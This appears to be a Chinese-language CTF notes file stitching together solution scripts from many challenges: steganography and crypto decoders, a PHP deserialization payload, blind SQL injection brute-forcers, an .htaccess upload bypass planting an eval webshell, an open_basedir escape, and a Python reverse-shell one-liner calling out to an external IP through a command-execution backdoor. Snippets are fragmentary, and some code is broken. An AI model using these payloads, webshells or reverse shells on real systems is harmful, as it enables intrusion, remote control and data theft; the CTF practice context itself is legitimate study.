然后意外地Readme/mytz.php?act=phpinfo

他访问的属性是class acp里面的

if($this->openstack->neutron === $this->openstack->nova) 判定条件里头说的

<?php
class acp 
{   
    protected $cinder;  
    public $neutron = 'a';
    public $nova = 'a';
}
$a = new acp();
echo serialize($a);

得到：O:3:"acp":3:{s:9:"*cinder";N;s:7:"neutron";s:1:"a";s:4:"nova";s:1:"a";}

echo 会触发toString这样在析构方法里面把pkshow换成ace，从而换成ace的echo_name()方法

得到?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A68%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A6%3B%7D

tshark -r out.pcap -T fields -e data > data.txt

with open('data.txt', 'r') as file:
    res_list = []
    lines = file.readlines()
    print('[+]去重之前一共{0}行'.format(len(lines)))
    print('[+]开始去重，请稍等.....')
    for i in lines:
        if i not in res_list:
            res_list.append(i)
    print('[+]去重后一共{0}行'.format(len(res_list)))
    print(res_list)

with open('data1.txt', 'w') as new_file:
    for j in res_list:
        new_file.write(j)

import binascii

with open('data1.txt','r') as file:
    with open('data2.txt','wb') as data:
        for i in file.readlines():
            data.write(binascii.unhexlify(i[:-1]))

import base64

with open('data2.txt','rb') as file:
    with open('data.zip','wb') as new_file:
        new_file.write(base64.b64decode(file.read()))

montage *jpg -tile 10x12 -geometry 200x100+0+0 flag.jpg
gaps --image=flag.jpg --generations=40 --population=120 --size=100

b = sSD
c = adE 
d = jVf
e = QW8
f = SA=
g = jBt
h = 5RE
i = tRQ
j = SPA
k = 8DS

.\bwm.py decode .\1.png .\2.png res.png
image<.\1.png> + image(encoded)<.\2.png> -> watermark<res.png>

code_str = 'etaonrhisdluygw'
code_dict = {'a':'dIW','b':'sSD','c':'adE ','d':'jVf','e':'QW8','f':'SA=','g':'jBt','h':'5RE','i':'tRQ','j':'SPA','k':'8DS','l':'XiE','m':'S8S','n':'MkF','o':'T9p','p':'PS5','q':'E/S','r':'-sd','s':'SQW','t':'obW','u':'/WS','v':'SD9','w':'cw=','x':'ASD','y':'FTa','z':'AE7'}
base_str=''
for i in code_str:
    i = code_dict[i]
    base_str += i
print(base_str)

with open('out.txt') as f:
    lines = f.readlines()
n_num = []
#分析出所有的数
for i in lines:
    if i!='\n':
        n_num.append(int(i))
#拿到每个TTL值的高位
rlt = ''
for i in range(0,len(lines)):
    tmp = bin(n_num[i])[2:]
    tmp = '0'*(8-len(tmp)) + tmp
    rlt += tmp[0:2]
#得到最终的结果并存到文件中
rlt2 = ''
for i in range(0,len(rlt),8):
    rlt2 += chr(int(rlt[i:i+8],2))
with open('fi.txt','w') as f:
    f.write(rlt2.rstrip())

import base64

with open('flag.txt','r') as file:
    for i in file.readlines():
        line = str(base64.b64decode(i),'utf8')
        print(line.replace('1',' '))

infile = open("321.txt", "r")
outfile = open("312.txt", "w")
for line in infile:
    outfile.write(line.replace('22','0'))
    #outfile.write(line.replace('44','1'))
infile.close()
outfile.close()

import zlib
import struct
file = '1.png'
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = 0xC4ED3  
n = 4095 
for w in range(n): 
    width = bytearray(struct.pack('>i', w))
    for h in range(n): 
        height = bytearray(struct.pack('>i', h)) 
        for x in range(4): 
            data[x+4] = width[x] 
            data[x+8] = height[x] 
            #print(data) 
        crc32result = zlib.crc32(data) 
        if crc32result == crc32key: 
            print(width,height) 
            print(data) 
            newpic = bytearray(fr) 
            for x in range(4): 
                newpic[x+16] = width[x]
                newpic[x+20] = height[x] 
            fw = open(file+'.png','wb') 
            fw.write(newpic) 
            fw.close 

import requests
url = "http://127.0.0.1/sqli-labs/Less-8"

normalHtmlLen = len(requests.get(url=url+"?id=1").text)

print(str(normalHtmlLen))

dbNameLen = 0
while True:
    dbNameLen_url = url+"?id=1'+and+length(database())="+str(dbNameLen)+"--+"
    print(dbNameLen_url)
    if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
        print(dbNameLen)
        break
    if dbNameLen == 30:
        print("ERROR")
        break

dbNameLen +=1

ren *.* *.jpg 另存为.bat就能全部变成jpg 然后漫长的拼图时间 

# -*- coding:utf-8 -*-

# author: mochu7

def hex_str(str):#对字符串进行切片操作，每两位截取
    hex_str_list=[]
    for i in range(0,len(str)-1,2):
        hex_str=str[i:i+2]
        hex_str_list.append(hex_str)
    print("hex列表：%s\n"%hex_str_list)
    hex_to_str(hex_str_list)

def hex_to_str(hex_str_list):
    int_list=[]
    dec_list=[]
    flag=''
    for i in range(0,len(hex_str_list)):#把16进制转化为10进制
        int_str=int('0x%s'%hex_str_list[i],16)
        int_list.append(int_str)
        dec_list.append(int_str-128)#-128得到正确的ascii码
    for i in range(0,len(dec_list)):#ascii码转化为字符串
        flag += chr(dec_list[i])
    print("转化为十进制int列表：%s\n"%int_list)
    print("-128得到ASCII十进制dec列表：%s\n"%dec_list)
    print('最终答案：%s'%flag)

if __name__=='__main__':
    str='d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd'
    print("字符串长度：%s"%len(str))
    hex_str(str)

import zipfile
name = '0573'
while True:
    fz = zipfile.ZipFile(name + '.zip', 'r')
    fz.extractall(pwd=bytes(name, 'utf-8'))
    name = fz.filelist[0].filename[0:4]
    fz.close()

from PIL import Image

x = 200    #x坐标  通过对txt里的行数进行整数分解
y = 200    #y坐标  x * y = 行数

im = Image.new("RGB", (x, y))   #创建图片
file = open('qr.txt')    #打开rbg值的文件

#通过每个rgb点生成图片

for i in range(0, x):
    for j in range(0, y):
        line = file.readline()  #获取一行的rgb值
        if line=='(255, 255, 255)\n':  # 粗暴的赋值……处理字符串实在麻烦
            rgb=[255,255,255]
        else:
            rgb = [0, 0, 0]
        im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))    #将rgb转化为像素

im.save('flag.jpg')

usfsd那么应该是aes或者3des加密

import gmpy2

p=gmpy2.mpz(3)
q=gmpy2.mpz(11)
e=gmpy2.mpz(3)
l=(p-1)*(q-1)
d=gmpy2.invert(e,l)
c=gmpy2.mpz(26)
n=p*q
ans=pow(c,d,n)
print ans 

拿到^5 异或5的标准 也是和刚才的加密一个思路 不过这边是单个字符

f1 = open('./cipher','r')
xor_data = f1.read()
f1.close()
dec_data = ""
for i in xor_data:
    tmp = int(i,16) ^ 5
    dec_data += hex(tmp)[2:]
f2 = open('./data.doc','wb')
f2.write(dec_data.decode('hex'))
f2.close()

IP报文在路由间穿梭的时候每经过一个路由，TTL就会减1，当TTL为0的时候，该报文就会被丢弃。
   TTL所占的位数是8位，也就是0-255的范围，但是在大多数情况下通常只需要经过很小的跳数就能完成报文的转发，
   远远比上限255小得多，所以我们可以用TTL值的前两位来进行传输隐藏数据。

import binascii
f=open("attachment.txt","r")
f2=open("aaa.txt","wb")
num=''
res=''
for i in f:
    if int(i)==63:
        num+="00"
    if int(i)==127:
        num+="01"
    if int(i)==191:
        num+="10"
    if int(i)==255:
        num+="11"
for j in range(0,len(num),8):
    res += chr(int(num[j:j+8],2))#转换为字符
res = binascii.unhexlify(res)#unhexlify:从十六进制字符串返回二进制数据
f2.write(res)

# -*- encoding: utf-8 -*-

import base64

f = open('aaa.txt','rb').read()
while True:
    f = base64.b64decode(f)
    if b'{' in f:
        print(f)
        break
    else:
        continue

/proc/pid/cmdline  包含了用于开始进程的命令  ；
/proc/pid/cwd 包含了当前进程工作目录的一个链接  ；
/proc/pid/environ  包含了可用进程环境变量的列表  ；
/proc/pid/exe  包含了正在进程中运行的程序链接；
/proc/pid/fd/  这个目录包含了进程打开的每一个文件的链接；
/proc/pid/mem  包含了进程在内存中的内容；
/proc/pid/stat 包含了进程的状态信息；
/proc/pid/statm  包含了进程的内存使用信息。

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("117.21.200.166",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

import socket
s=socket.socket()
s.connect(("117.21.200.166",1234))   #连接的服务器的ip地址,端口
for i in range(10):
    com=input("command:")
    s.send(com.encode())     #发送信息
    d=s.recv(1024)           #接受数据的大小
    print(d.decode(),len(d))

#coding:utf-8
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag)
for i in item:
	k = ''.join(list(i))
	if k.startswith('pctf{hey_boys') and k[-1] == '}':
		print(k)

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

G %86^%c1 E %86^%c3 T %86^%d2 _ %86^%d9  

?_${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo 

nginx的服务器，而且上传目录下有一个php文件，所以上传.user.ini
apache的服务器，应该上传.htaccess

<script language="php"></script>

#define width 1337
#define height 1337  用注释进行绕过 

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa"

shell.aaa
GIF89a12 #加这个12 为了补足八字节满足base64编码规则
PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg==

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .aaa
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://1e70a83e-d624-4134-b4d2-407896936c60.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.aaa',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

open_basedir

shell.aaa?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]); 

{ "page" : 
"php://filter/convert.base64-encode/resource=/flag"}

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

只不过 like 用%规定以什么开头的或者结尾的  regexp 以什么开头用^ 以什么结尾用$ 含有某字母的直接什么都不用
但是regexp有别的功能 “|” 替代 OR 且不需要空格 
regexp 'a|b|c' 搜索效果相当与 where *** like '%a' or *** like '%b' or *** like '%c' ; 简洁多了

用[ ] 中括号来囊括多个搜索条件
例如[a]d 会查找含有a d的 d[a] da的
搜索结果会包含括号中每个元素与括号外的元素构成的任一结合 
使用短横线 来进行范围匹配 比如[a-d]d 相当于[abcd]d

单引号可以使用\来转义 and前面的单引号 造成'\' and passwd=' 形成闭合
构造passwd为||/**/passwd/**/regexp/**/"^a";%00
即username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

import requests
from urllib import parse
import string
url = 'http://bc937545-f6a5-4925-94cf-649688eb59a8.node4.buuoj.cn:81/'
num = 0 
result = ''
string= string.ascii_lowercase + string.digits + '_' #密码由小写字母 数字 下划线组成(实验证明
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",#"\"转义"\"
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break